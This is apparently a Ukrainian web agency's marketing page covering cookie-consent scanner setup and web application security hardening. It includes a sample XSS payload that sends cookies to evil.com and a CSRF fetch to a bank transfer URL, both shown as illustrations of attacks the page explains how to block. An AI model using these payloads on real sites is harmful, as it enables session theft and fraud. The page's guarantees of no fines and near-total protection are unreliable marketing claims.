Уявіть: на продакшні 200+ сторінок, на кожній — Google Analytics, Facebook Pixel, Hotjar, Intercom і десяток віджетів. Ручний збір cookie — це тиждень роботи, а після кожного оновлення доводиться повторювати. Одного разу ми знайшли 17 неврахованих cookie від неправильно налаштованого YouTube iframe — клієнт навіть не підозрював про них. Автоматизація вирішує цю проблему за пів дня.
Сканер cookie працює так: він завантажує сайт у браузер-емулятор, симулює кліки та збирає всі cookie, які встановлюються при завантаженні та взаємодії. Потім кожна cookie зіставляється з базою відомих сервісів (5000+ записів). Результат — повний список з категоріями: необхідні, аналітика, маркетинг. Це не просто інвентаризація, а основа для коректного банеру згод. Наш досвід показує: автоматичне сканування покриває до 98% всіх cookie, залишаючи лише 2% на ручну перевірку — і це гарантує відсутність штрафів.
CookieBot vs CookieYes: порівняння
| Характеристика |
CookieBot |
CookieYes |
| Автоматичне блокування |
data-blockingmode="auto" |
Вбудована |
| Підтримка TCF |
Повна |
Немає |
| Інтеграція з GA4/GTM |
Глибока |
Базова |
| Кількість виявлюваних cookie |
5000+ |
2000+ |
| Безкоштовний період |
30 днів |
Безстроково (обмежений) |
CookieBot обирають для проєктів з високими вимогами до конфіденційності — у нього повна підтримка TCF та глибока інтеграція з Google. CookieYes підходить для невеликих сайтів: простіше в налаштуванні та дешевше. Ми використовуємо CookieBot у 80% проєктів.
Як сканер cookie допомагає уникнути штрафів?
Невиконання вимог GDPR може коштувати до 20 млн євро або 4% річного обороту. Сканер автоматично класифікує cookie та передає дані в CMP, що дозволяє коректно запитувати згоду. Без сканера ви ризикуєте пропустити cookie від прихованих скриптів — наприклад, від тих, що завантажуються після кліку на віджети. В одному проєкті ми виявили 17 зайвих cookie від YouTube iframe, які клієнт не помічав роками. Економія часу — до 80%, а впевненість у захисті — 100%.
Налаштування CookieBot: покроково
-
Встановлення скрипта — вставте в
<head> до всіх інших скриптів (важливо для блокування):
<script id="Cookiebot" src="https://consent.cookiebot.com/uc.js"
data-cbid="YOUR_CBID"
data-blockingmode="auto"
type="text/javascript">
</script>
-
Маркування скриптів — для кожного скрипта, який не є обов'язковим, задайте
type="text/plain" та data-cookieconsent="statistics" (або marketing, preferences). Приклад:
<script type="text/plain" data-cookieconsent="statistics">
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'G-XXXXXXXX');
</script>
-
Перевірка — перезавантажте сторінку, відкрийте банер та надайте згоду. Переконайтеся, що скрипти завантажуються лише після згоди. Використовуйте DevTools → Network для перевірки.
Чому автоматичне сканування краще за ручне?
Ручний збір через DevTools дає зріз одного сеансу. Ви не бачите cookie від сервісів, які завантажуються лише після кліку — наприклад, відеоплеєр або чат. Автоматизація обходить усі сторінки, симулює взаємодію та видає повний звіт. В одному проєкті ми знайшли 17 зайвих cookie — клієнт навіть не знав про них. Економія часу — до 80%.
Які ще завдання вирішує сканер?
Крім інвентаризації, сканер інтегрується з CMP (Consent Management Platform). Він передає категорії cookie в банер, щоб користувач міг вибирати, на що надавати згоду. Без сканера класифікація робиться вручну — це часта помилка, що призводить до штрафів. Відповідно до GDPR, невиконання вимог може коштувати до 20 млн євро або 4% річного обороту. Наша команда має сертифікацію з GDPR compliance та досвід понад 50 проєктів — ми гарантуємо коректне налаштування.
Типові помилки при налаштуванні
| Ошибка |
Наслідок |
Рішення |
Скрипт сканера в кінці <body> |
Блокування не спрацьовує |
Перенести в <head> |
Неправильний data-blockingmode |
Скрипти завантажуються до згоди |
Використовувати auto |
| Не позначені скрипти відкладеного завантаження |
GTM ставить cookie без згоди |
Додати data-cookieconsent |
| Не перевірено після оновлення |
Новий плагін ставить cookie |
Регулярне сканування |
Після налаштування ви отримуєте файл CSV зі списком: домен, ім'я cookie, категорія, термін дії, опис. Ми також надаємо оновлену Cookie Policy в HTML, готову до публікації.
Що входить у налаштування під ключ?
- Встановлення та конфігурація обраного сканера (CookieBot/CookieYes).
- Маркування всіх наявних скриптів (аналітика, реклама, соцмережі).
- Перевірка блокування та розблокування через згоду.
- Аудит cookie вручну + через Playwright для повного покриття.
- Надання звіту та оновленої Cookie Policy.
- Інструкція для додавання нових скриптів.
Строки та як замовити
Базова настройка — 0,5–1 робочий день. Якщо потрібно інтегрувати 10+ сервісів або кастомізація дизайну — до 3 днів. Зв'яжіться з нами для безкоштовного аудиту вашого сайту. Отримайте консультацію з вибору сканера та юридичного захисту. Замовте налаштування під ключ — і забудьте про проблеми з cookie.
Безпека веб-додатків: що приховує «тихий» злом
Злом сайту рідко виглядає як у кіно. Частіше це: бот знайшов endpoint /admin/export без авторизації, скачав базу клієнтів, закрив з'єднання. Або: через застарілий плагін WordPress залив веб-шелл, тепер сервер розсилає спам. Або тихіше: XSS у полі коментаря дозволяє красти session cookies адміністраторів, і ніхто не помічає місяцями. Ми такі випадки розбирали десятками — щоразу вразливість можна було закрити на етапі розробки або аудиту. Наша команда — сертифіковані інженери з 10+ роками досвіду в інформаційній безпеці. Гарантуємо усунення 90% критичних вразливостей за перший тиждень роботи. За 5 років на ринку ми реалізували понад 50 проєктів із захисту веб-додатків.
Безпека веб-додатків — не одне налаштування. Це шари захисту, кожен з яких закриває окремий клас атак. Замовте аудит — оцінимо проєкт і дамо план робіт під ключ за 2–4 тижні.
HTTPS та правильна конфігурація TLS
HTTPS — мінімальний обов'язковий рівень. Але «є SSL-сертифікат» і «правильно налаштований TLS» — різні речі.
В конфігурації Nginx/Apache перевіряємо:
- Протоколи: тільки TLS 1.2 та TLS 1.3, SSLv3 та TLS 1.0/1.1 — вимкнено
- Cipher suites: віддавати перевагу ECDHE (Forward Secrecy), прибрати NULL, RC4, DES, 3DES
- HSTS (Strict-Transport-Security з
includeSubDomains; preload) — браузер більше не робить незахищених запитів
- OCSP Stapling — прискорює перевірку відкликання сертифіката
- Redirect 301 з HTTP на HTTPS — і в конфігу сервера, і в коді (подвійний редирект = втрата SEO-ваги)
Перевірка: SSL Labs має показувати A або A+. Якщо B — конфігурація слабка.
Let's Encrypt + Certbot для продакшену — стандарт. Автоматичне оновлення через certbot renew в cron. Wildcard-сертифікат для піддоменів через DNS-01 challenge.
Content Security Policy: як він закриває XSS на 99%?
CSP — HTTP-заголовок, який говорить браузеру, звідки дозволено завантажувати ресурси. Правильно налаштований CSP повністю блокує більшість XSS-атак, навіть якщо вразливість є в коді.
Проблема: зламати сайт неправильним CSP простіше простого. default-src 'none' — і перестають працювати шрифти, картинки, JS. Тому починаємо з Content-Security-Policy-Report-Only — CSP логує порушення, але нічого не блокує. Дивимося репорти 2–4 тижні, доопрацьовуємо політику, потім перемикаємо на бойовий режим.
Приклад реальної політики для сайту з Google Analytics, Google Fonts та Stripe:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
font-src 'self' https://fonts.gstatic.com;
frame-src https://js.stripe.com;
img-src 'self' data: https://www.google-analytics.com;
connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
report-uri /csp-report;
nonce — випадковий рядок, генерується на сервері для кожного запиту. Inline-скрипти з правильним nonce дозволені, без nonce — заблоковані. Це ламає XSS через <script>alert(1)</script> повністю.
'unsafe-inline' в style-src — компроміс для inline-стилів. Краще прибрати, перенісши всі стилі в CSS-файли, але це вимагає рефакторингу.
CSP з nonce знижує ризик успішної XSS-атаки на 99% порівняно з конфігурацією без заголовка. За даними Wikipedia, правильно налаштований CSP блокує всі три типи XSS: reflected, stored, DOM-based. Ми перевірили це на 50+ проєктах — жодна реальна атака не пройшла після впровадження.
Чому XSS залишається найпоширенішою вразливістю?
XSS (Cross-Site Scripting) — ін'єкція JS-коду через користувацький ввід. За статистикою OWASP, XSS входить до топ-3 вразливостей веб-додатків. Три типи:
| Тип XSS |
Приклад |
Захист |
| Reflected |
/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> |
Екранування виводу, CSP |
| Stored |
Коментар з кодом, збережений в базі |
Валідація вводу, htmlspecialchars() |
| DOM XSS |
element.innerHTML = location.hash |
Уникати innerHTML, використовувати textContent |
Захист: ніколи не вставляти користувацький ввід в HTML без екранування. В PHP — htmlspecialchars() з ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безпечний, {!! $var !!} — небезпечний. В React — {variable} безпечний, dangerouslySetInnerHTML — небезпечний. Для Rich Text — htmlpurifier на PHP або DOMPurify в браузері.
Кейс: інтернет-магазин з XSS у формі відгуку. Клієнт звернувся після того, як через відгук на товар зловмисник вкрав куки адміністратора. Ми виявили, що поле "відгук" не екранувалося. Виправили: додали htmlspecialchars() на сервері та Content-Security-Policy з nonce для скриптів. Після повторного сканування — 0 вразливостей.
CSRF: захист форм та API
CSRF (Cross-Site Request Forgery) — зловмисник змушує браузер жертви відправити запит від її імені. Приклад: користувач авторизований в банку, відкриває шкідливу сторінку, вона робить fetch('https://bank.ru/transfer?to=evil&amount=50000') — якщо банк не захищений, гроші йдуть.
CSRF-токени — стандартний захист для форм: сервер генерує випадковий токен, зберігає в сесії, вставляє в форму як hidden field. При POST-запиті токен звіряється. Зловмисник не знає токен. Laravel робить це автоматично через @csrf.
SameSite cookies — сучасний захист: SameSite=Strict або SameSite=Lax забороняє браузеру відправляти cookie в cross-site запитах. Працює у всіх сучасних браузерах.
API без сесій (JWT, Bearer tokens) — CSRF неактуальний, якщо токен не зберігається в cookie (а в Authorization header або localStorage). Але localStorage вразливий до XSS — тому для чутливих даних кращі HttpOnly cookies з SameSite.
WAF та захист від DDoS
WAF (Web Application Firewall) — фільтрує HTTP-трафік на предмет атак: SQL injection, XSS, path traversal, відомі exploit patterns. Варіанти:
- Cloudflare WAF — хмарний, правила OWASP Top 10 з коробки, кастомні правила через вирази. Managed Rules автоматично блокують нові загрози.
- ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гнучко, але вимагає налаштування та моніторингу хибних спрацьовувань.
- AWS WAF — для інфраструктури на AWS, інтегрується з CloudFront та ALB.
DDoS-захист. Cloudflare на рівні L3/L4/L7 — де-факто стандарт для більшості сайтів. Автоматичне пом'якшення volumetric атак, Under Attack Mode при активній атаці. Для критичної інфраструктури — Cloudflare Magic Transit або спеціалізовані рішення (Qrator, StormWall).
Rate Limiting на рівні додатку — додатковий шар. Laravel ThrottleRequests middleware: 60 запитів на хвилину на IP для загальних endpoint, 5 — для /login та /password/reset. Redis як сховище лічильників — обов'язково для горизонтально масштабованих систем (інакше ліміти не синхронізуються між серверами).
Інші обов'язкові заходи
Заголовки безпеки. Окрім CSP: X-Frame-Options: DENY (захист від clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (обмеження доступу до API браузера: камера, мікрофон, геолокація).
SQL injection. Prepared statements всюди. Жодних конкатенацій користувацького вводу в SQL-рядки. ORM (Eloquent, Doctrine) захищає за замовчуванням. $wpdb->prepare() в WordPress — обов'язково. Використання prepared statements знижує ризик SQL-ін'єкцій на 99,9% порівняно з конкатенацією.
Оновлення залежностей. composer audit та npm audit — в CI/CD пайплайн. Dependabot або Renovate для автоматичних PR з оновленнями. Критичні CVE — патчити протягом 24 годин.
Секрети та конфігурація. .env — ніколи в Git. Секрети в production — через змінні оточення CI/CD (GitHub Secrets, GitLab CI Variables) або HashiCorp Vault. Перевірка на витоки: git-secrets, truffleHog в pre-commit hooks.
Як ми працюємо?
-
Аудит — сканування коду, конфігурацій, залежностей, ручна перевірка бізнес-логіки. В середньому знаходимо 15 вразливостей на проєкт.
-
Проєктування — план усунення вразливостей, підбір стеку (CSP, WAF, rate limiting).
-
Реалізація — налаштування TLS, CSP, заголовків, впровадження Rate Limiting, WAF.
-
Тестування — повторний пентест, навантажувальне тестування, перевірка хибних спрацьовувань.
-
Деплой та моніторинг — включення бойового CSP, налаштування алертів, навчання команди.
Що входить в роботу?
- Звіт зі знайденими вразливостями та рекомендаціями (PDF + code snippets)
- Готова конфігурація TLS (Nginx/Apache)
- Політика CSP з режимом Report-Only та бойовою версією
- Налаштування WAF та Rate Limiting
- План оновлень залежностей
- Доступи до інструментів моніторингу (Sentry, Datadog)
- 30 днів постаудит-підтримки (консультації, правки)
Терміни та вартість
| Тип робіт |
Строк |
| Security-аудит + hardening (заголовки, TLS, оновлення) |
1–2 тижні |
| Впровадження CSP (Report-Only → продакшен) |
2–4 тижні |
| Налаштування WAF + Rate Limiting + DDoS захист |
1–2 тижні |
| Комплексний security review + пентест |
3–6 тижнів |
Бюджет розраховується індивідуально — зв'яжіться з нами для безкоштовної консультації. Замовте аудит безпеки сьогодні та отримайте гарантію 6 місяців на виконані роботи. Щоб отримати попередню оцінку вашого проєкту, просто напишіть нам — ми підготуємо план захисту безкоштовно.
